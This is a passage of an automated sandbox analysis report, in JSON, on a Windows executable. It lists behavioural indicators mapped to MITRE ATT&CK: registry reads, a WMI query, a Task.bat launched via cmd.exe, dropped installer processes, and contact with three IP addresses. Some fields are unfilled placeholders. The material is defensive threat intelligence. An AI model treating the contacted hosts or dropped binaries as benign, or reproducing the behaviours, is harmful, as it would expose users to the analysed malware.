Awareness","name":"Reads the registry for installed applications","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\INSTALLSETUP9.EXE\")\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\TUC4.EXE\")\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\288C47BBC1871B439DF19FF4DF68F076.EXE\")\n \"tuc4.tmp\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\AVI FORMATTER TOOL_IS1\")\n \"tuc4.tmp\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\AVI FORMATTER TOOL_IS1\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"aviformattertool.exe\"\n Report process \"WerFault.exe\" was created by \"288c47bbc1871b439df19ff4df68f076.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$3a","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$3b","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"$3d","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3e","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.172.128.90:80\"\n \"185.172.128.53:80\"\n \"5.42.64.35:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: 1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"FtpCreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"$42","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetProcessHeaps\" (Indicator: \"GetProcessHeap\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.File\" and MemberReference \"GetAttributes\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.get_StartInfo\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"\n Observed function \"Process.Start\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$47","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$48","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:8776:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8776:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:8776:64:WilError_01\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8776:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:8776:168:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:8776:64:WilError_01\"\n \"Local\\SM0:8776:64:WilError_01\"\n \"Local\\SM0:8776:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8576:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:8576:64:WilError_01\"\n \"Local\\SM0:8576:168:WilStaging_02\"\n \"SM0:8576:64:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" (UID: 00000000-00008532)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.dll\" - [base:0; Status:ffffffffc0000135]\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\ole32.dll\" - [base:0; Status:ffffffffc0000135]\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll\" - [base:0; Status:ffffffffc0000135]\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" failed to load missing module \"%WINDIR%\\Microsoft.Net\\assembly\\GAC_MSIL\\System\\v4.0_4.0.0.0__b77a5c561934e089\\shell32.dll\" - [base:0; Status:ffffffffc0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$49","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"GetModuleHandle\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"\n Observed unmanaged function \"CheckRemoteDebuggerPresent\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 712E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$4b","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 727C0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"InstallSetup9.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"288c47bbc1871b439df19ff4df68f076.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"tuc4.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"tuc4.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"net.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"aviformattertool.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"net1.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75190000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... \n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1.ConnectServer\" with result: \"IDispatch\" ...\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\").ExecQuery\" with result: \"IDispatch\" ...\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\").Count\" with result: \"1\" ...\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\")._NewEnum\" with result: \"IDispatch\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$4c","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: 1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"_isdecmp.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-ND51B.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-T2M3R.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-PU7KQ.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-L2OG8.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-FEENV.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$4e","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"user32.dll\" : \"215\" [Source: BroomSetup.exe]","origin":"Static 